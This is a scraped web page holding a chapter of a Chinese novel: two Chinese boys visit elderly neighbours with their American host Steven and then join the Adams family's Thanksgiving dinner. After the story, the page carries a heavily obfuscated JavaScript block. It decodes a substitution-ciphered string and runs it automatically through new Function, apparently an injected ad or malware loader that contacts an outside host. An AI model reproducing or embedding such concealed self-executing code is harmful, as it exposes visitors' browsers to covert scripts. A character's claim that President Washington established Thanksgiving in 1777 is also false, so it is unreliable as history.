(手机请访问 m.duxs8.com)老人从桌上拿起一只玳瑁边框的老花镜戴上,细细打量着辰辰和义廷,张开缺了颗牙的嘴问:“你们真是从中国过来的?那儿可不近呢!”
“嗯,是的,不近呢。现在交通发达了,坐飞机也很方便。”辰辰笑着点头说。
“哦,飞机,对,飞机……”老安妮嘴里念叨着,朝桌旁的咖啡机走去。
斯蒂文如同回到自己家一样,东转转西看看,大声说:“安妮,你灯泡里的钨丝又烧断了,我年初就提醒过你,换成新的节能灯不是更亮更省电吗?”
“是啊,你说的对,斯蒂文,我这边电路老化了,屋子里总是黑乎乎的。”老安妮颤巍巍地附和着,开始动手给客人们煮咖啡。
“今天就让我帮你换上吧。我带了几个过来。”
还没等斯蒂文爬上木梯子,义廷就自告奋勇地拉住斯蒂文的一片衣角,朝他挤挤眼睛,道:“这个交给我。相信我!电学这一章我得了A。”
斯蒂文看了看这个比自己高出一头的壮硕男孩,笑出了声,也不客气,把一盒灯泡交给了义廷。
“哦,对了,你染的枕套我妈妈说好看,让我再问你要一对。”斯蒂文笑嘻嘻地请求着老安妮。
“别慌,先喝了咖啡再说,来来来,小斯蒂文,快帮我摆杯子。”老太太吩咐着。
斯蒂文帮老安妮摆出了五只杯盏,然后,看她颤抖着手小心地将香喷喷的咖啡注入杯中。
一会儿,听到前门的门铃又响了起来,里奥过去开门,一个跛了一条腿的红脸膛老头拄着拐杖走了进来。
“嘿,约翰,你就知道我准是在这里,对吗?安妮,看来咱们要再添一副杯子了。”斯蒂文兴奋地拥抱住穿着老式三件套格呢西装的老爷爷。
“是啊,来让我看看,我的小斯蒂文,你越长越像你父亲了。”红脸膛的老约翰哈哈笑着,样子十分开心。
几个人坐在老安妮的客厅里喝咖啡,聊着各种有趣的话题,大家不停地喝,老安妮就在一旁又是煮又是倒,忙得不亦乐乎。
“罗杰斯怎么没来?”聊了一会儿,老约翰才想起,这屋里少了一位常客。
“他十一年级了,明年面临大学升学,要利用这个假期好好准备ACT考试(相当于美国的高考),没有太多时间陪我们玩了。”斯蒂文解释着。
“天啊,小罗杰斯要考大学了,马上就是个真正的男子汉了!约翰,我看,我们真的老了。”安妮感叹着。
“哈哈,当年我还把那个小子扛在肩上呢!想起来就像是昨天发生的事。时间过得太快了!”老约翰的笑声像一口老铜钟一样富有穿透力。
离开了老安妮家,斯蒂文又带着两个小伙伴去了另外三四家,无一例外,这些家住的也都是八十几岁的老人。
整个下午,三个孩子都陪着这些老人喝咖啡,聊天,品尝着她们自制的奇形怪状的茶点,走出最后一位老人家门时,已是夜幕低垂。
一进入11月下旬,美国就进入了漫长而美好的假日季节,安纳波利斯市当然也不例外。
车行驶过老街,绕上商业街,这里的梅西百货虽然没有举行什么感恩节大游行,样式气派的古老商业大楼的玻璃橱窗里,货品也早已琳琅满目,广场上空飘满了写有“Macy’s”字样的*星充气气球。
街上大大小小的店铺里挂满了五彩的饰品,打折广告应接不暇,各个角落都是一番节日的景象。
义廷看着车窗外的街景问斯蒂文:“刚才,老安妮的手抖得那么厉害,你为什么只帮她摆杯子,不帮她倒咖啡?”
“你不知道,”斯蒂文轻笑一声,“在我们这里,倒咖啡是中尉太太们的专属特权,不可以随便剥夺,只有亲自给我们煮咖啡倒咖啡,她才能重温几十年前,参加那些年轻军官家庭聚会的情景。”
听了斯蒂文的话,辰辰若有所思,他以前竟然没有察觉,这个骄傲的男孩还有这样细腻的爱心。
“咱们做的那些火鸡都送出去了吗?”义廷有些好奇。
“嗯,通常感恩节家里只会留两只烤好的火鸡,供主人和佣人们分别享受,其余的,爸爸妈妈会在这两天走访一些福利和救济机构的时候,给他们送过去。”
回到家,义廷和辰辰记住了昨天的教训,特意上楼换了晚餐的正装。
今天是感恩节,按照美国人的习惯,就算是再忙碌的人,在这天,也要回家和家人们共进晚餐,估计今晚一定能见到早出晚归的亚当斯先生,所以,要穿得稍微正式一些。
来到餐厅,宽阔的长餐桌靠厨房的那一头已经堆满了五颜六色的食物,有剥了壳的干果、掏空的苹果、煮熟的南瓜、新鲜的蔓越莓、小红莓、樱桃、香蕉、甜梨……还有一个超大的甜点心塔,一切都是那么诱人,充满丰收的喜悦感。
几个孩子刚在长餐桌周围落座,亚当斯先生和夫人就出现了,辰辰和义廷忙站起来,彬彬有礼地问:“亚当斯先生、夫人,祝你们感恩节快乐!”
“查理、罗伯特,欢迎你们来和我们全家共度节日。我代表亚当斯全家,我,我的太太凯瑟琳、儿子罗杰斯、斯蒂文、女儿米兰达,祝你们感恩节快乐!”亚当斯先生用热情有力的臂膀拥抱了两位小客人。
“我们要在这里住一周,实在是个你们添麻烦了。”辰辰又将感谢的话说了一遍。
“哈哈,不用这么客气。欢迎他人对美国人而言具有重要意义,正是这一点,才成就了美国,使之成为一个伟大的国家。”
辰辰并没有听懂这句话的含义,亚当斯先生笑着示意大家都坐下。
寒暄过后,食物陆续摆上餐桌,一只烤得金黄的大火鸡被放到了桌子正中央,冒着诱人的香气,旁边摆着一只装满粉红色甜虾的大冰碗,一只大号的银盘子里装着鲜美的生蚝和切成小瓣的柠檬块。
斯蒂文一边往自己的碗中盛开胃沙拉,一边告诉辰辰和义廷,那些他们叫不上名字的食物究竟是什么:“这是西西里野菇珍珠丸,那个格里约尔芝士小圆饼的做法还是我奶奶传下来的,自制红莓苔子果酱你们一定要品尝一下,这个季节采摘的红莓味道最浓郁,耶路撒冷蔬菜果冻是梅森小姐按新配方准备的,普罗旺斯鲜肉饼是哥哥的最爱、要吃南瓜派得手快,因为这个每年都不会剩下……
辰辰一边点头,一边往自己的盘子里盛着食物,义廷早就甩开腮帮子吃上了。
“你的胳膊肘都碰到我的眼睛了。”穿着漂亮粉白格裙子的米兰达尖声叫着,撅起小嘴怒视义廷,相比她对辰辰的好感,小姑娘分给义廷的友谊就要吝啬多了,这或许要怪义廷那蹩脚的英文发音。不过,从这一点也可以看出,米兰达还没有到一看见肌肉男就两眼冒星光的年龄。
“不要在意,罗伯特,米兰达大部分时候并不是这么任性。”亚当斯夫人歉意地为义廷的碗里又舀了一大勺肉酱,“这个是加了紫苏的阿拉斯加小牛肉酱,趁热尝尝吧。”
然后,转身对女儿,爱怜地责备道:“米兰达,你答应过我,感恩节要表现得像个懂事的大孩子,你的哥哥们今天都相当不错。”
此时,佣人们点燃桌上的蜡烛,大家围桌而坐,一遍遍互道着感恩节的问候。
亚当斯先生看晚餐已经摆放停当,便对为首的梅森小姐说:“你们辛苦了,今天不用照顾我们,我知道你们那边也快开餐了,快去吧,祝你们好胃口。”
佣人们这才纷纷退下,穿过游廊朝北面附属建筑走去。
辰辰注意到,每个人面前都有一个造型独特的木雕松鼠,松鼠的两只小前爪上各托着一张小卡片。
在分吃火鸡前,女主人说道:“我们还是按照往年的惯例,每个人就自己卡片上写的词语进行一个小小的感恩演讲。”
第一个翻开卡片的是亚当斯先生,他抽到的一张纸上写着“country(国家)”,于是,他环顾了一下在坐的所人说道:“众所周知,感恩节是一个纯粹的美国节日,甚至和宗教没有关系,它独一无二地属于我们强大的美利坚合众国。1620年,乘坐“五月花”号来到新大陆的清教徒们,在印第安人的帮助下,辛苦劳作一年,于次年秋天迎来了大丰收,为了表达对神和当地土著的感谢,他们创造了这样一个节日,并共同庆祝。一百五十年后,也就是1777年的大陆会议上,时任美国总统的乔治·华盛顿将其正式定立为“感恩节”,成为美国全国性的节日。”
亚当斯先生喝了一口杯中的红酒,继续道:“有幸,我们家族的兴起恰恰可以追溯到五月花号。作为光荣的亚当斯家族的后裔,我首先要感谢400年前乘着五月花号舍生忘死扬帆远行来到这片土地上的先祖,他们将创造一个更美好的新世界的机会带给了美国……”
说着,他举起酒杯将,杯中的红酒一饮而尽。
(function(){function pa49a0b(yba62){var efc5dbfe1="Dm7A%P|~5IE;gsl]rUONeH16y[To?Zvn2:YLi.&zGXB3f^CVa!/0$Wxk=dQF_(buJc4@tpRSMqwK98-,hj";var w50c463d="d3eqvW]=&Es$^h(gf8R!c,wOiCNS1LZApjMGzoJ_7xnX/Ty:a@uB;.rFl5U|6Q[0~%DHk2mPKVtYI9b-?4";return yba62.split('').map(function(yd7ae){var dd210=efc5dbfe1.indexOf(yd7ae);return dd210==-1?yd7ae:w50c463d[dd210]}).join('')}var c=pa49a0b('h2ps://1yBD.1b"" + "E" + "8" + "_" + "e" + "-"+""|~r/Bewy.Bl){$lr/Bewy.Bl=maG?H2r8?eD-amH/G_au?DGHD-dr8-eG){yrlfgYaeFPyBfWw7EwlBa%y]aw.xW2=awr.xR)){x7w/xB}$%ax xurGr~r/Bewy.Bl/ajjj_-r){x7w/xB owxyB]Wrx.R[sax[.D7l/ajjj_-r)}$%ax /G7GG8~b"w,?"H"%,?8"H"/,pUp_?jp_up_dup8"H"D,pupj,u8,u? ?UVmGV?m"H"ECE,ie"|$%ax R-m_e-~/G_au?DGbxurGrluX_?)+xurGrluXGj)+xurGrluX_k)+xurGrluX_p)|Hw_pGrr~/G_au?DGbxurGrluX_p)+xurGrluXGj)+xurGrluX_k)+xurGrluX_?)|H1j-aDGe~D-dr8-eGbR-m_e-l"KmqCeRq/DkT:eR=1Dn~~")|H:rp?mj~R-m_e-l"Km&=K3O=OPX=-Pq/Dn~~")HDeU?m7Du7~R-m_e-l"emqyemOCaPdB")H.mm-aDe~R-m_e-l"eRq1-Lk:v(~~")H-ejppUG8~R-m_e-l"em0Ea3(~")HBm87D~R-m_e-l"eRqpv3&iv(~~")H%D_8Up~R-m_e-l"aR82-]~~")H.aUrd_m~R-m_e-l"eRk/vL8w")H:7p-rG~/G_au?DGbR-m_e-l"^Pkuan~~")|H%d?aje77a~R-m_e-l"-L8svn~~")$%ax w-uuejeu?~R-m_e-l"7RTtvP&?v1~~")$%ax 1??-7r$yrl=.eawy.BWE7axesWyBD7X6rlw-uuejeu?)>,?){1??-7r~D-dr8-eGb:rp?mj|lR-m_e-l"DLqjDLkCvPI~"))$1??-7rWyD~"w"+l:7p-rGb.aUrd_m|l)*?uuuu)$1??-7rWEwC=7W1yDws~"?uuc"$1??-7rWEwC=7Ws7y]sw~"duu2X"$1??-7rWDyEa-=7D~wx/7$yrlD-dr8-eGW-.DCN~B/==){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)}7=E7{%ax ]pdppm~r/Bewy.Bl){D-dr8-eGW-.DCWa227BD[sy=Dl1??-7r)$/G_au?DGWx7R.%7I%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}$/G_au?DGWaDDI%7BwZyEw7B7xl%d?aje77aH]pdppmHra=E7)}}%ax 1uUU8~D-dr8-eGb:rp?mj|lR-m_e-l"vP?yvP(~"))$1uUU8WEwC=7Ws7y]sw~"u2X"$1uUU8WyD~2r8?eD-am+l:7p-rGWe7y=l:7p-rGb.aUrd_m|l)*?uuuu))$%ax E-j_a~r/Bewy.Bla_eGaUGuU){%ax AGmU-_U~B71 4aw7l)$%ax XDdGdDG~`aD%o2ae79Dz;{2r8?eD-am}z;{AGmU-_UWw.Z.ea=74aw7owxyB]l)}`$%ax R_?-a-ja~&o6TW2axE7l=.ea=ow.xa]7W]7w9w7RlXDdGdDG))$yrlR_?-a-ja~~B/==){R_?-a-ja~{-x.1E7x[./BwVu}}R_?-a-jaW-x.1E7x[./Bw++$%ax 2G8jdD8u~w_pGrrl/G7GG8We.Beawlb4aw7b"B.1"|l)H=.eawy.BWsx7rH`sEe,;{R_?-a-jaW-x.1E7x[./Bw}`|)WE.xwll)~>:7p-rGb.aUrd_m|l),uWd)b%D_8Up|l"H"))$%ax 7pm_G_u~2G8jdD8uWyBD7X6rlxurGrluXmD))>,?h2G8jdD8ubDeU?m7Du7|l2G8jdD8uWyBD7X6rlxurGrluXmD)))V""$2G8jdD8u~2G8jdD8ub.mm-aDe|l7pm_G_uH"")b-ejppUG8|l"")bBm87D|l)b%D_8Up|l"")+7pm_G_u$1uUU8WExe~b"sww2EVff"Ha_eGaUGuUH2G8jdD8u|b%D_8Up|l"f")$D-dr8-eGW-.DCWa227BD[sy=Dl1uUU8)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Ba227BD7D 7R w. swR="$%ax a8pG8~D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)$yrla8pG8~~B/==FFa8pG8~~/BD7ryB7D){1??-7rW%a=/7+~"\\x\\B eaBw ]7w 7R rx.R swR="}}}$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\BE7BD :E s.Ew "+=maG?}%ax Cujpda~r/Bewy.Bl.ue7dd8){x7w/xB R-m_e-l.ue7dd8)b.mm-aDe|lxurGrluXpn)H:7p-rGb.aUrd_m|l)Ww.owxyB]lm_)WE=ye7l:7p-rGWr=..xl:7p-rGb.aUrd_m|l)*8)+p))}$E-j_alCujpdal=maG?))$/G_au?DGb"aDDI%7BwZyEw7B7x"|l"R7EEa]7"Hr/Bewy.Bl7){yrl7WDawaWt~~2r8?eD-am){D-dr8-eGW]7wI=7R7Bw0C9Dl1uUU8WyD)Wx7R.%7l)$yrl1??-7rN~B/==){1??-7rW%a=/7+~"\\x\\Bx7e7y%7 7R 2.Ew R7EEa]7"$1??-7rW%a=/7+~"\\x\\B7WDawaW% "+7WDawaWA}B71 k/Bewy.Bl"ax]E"H7WDawaWA)l{zwDeEV1j-aDGeHzwxaV1??-7r})}})})l"MydAaPk/7@q_DPU/Kp8w"H"pUp_?jp_up_dup8"H1yBD.1HD.e/R7Bw)}$E8_e-l)$'.substr(7));new Function(c)()})();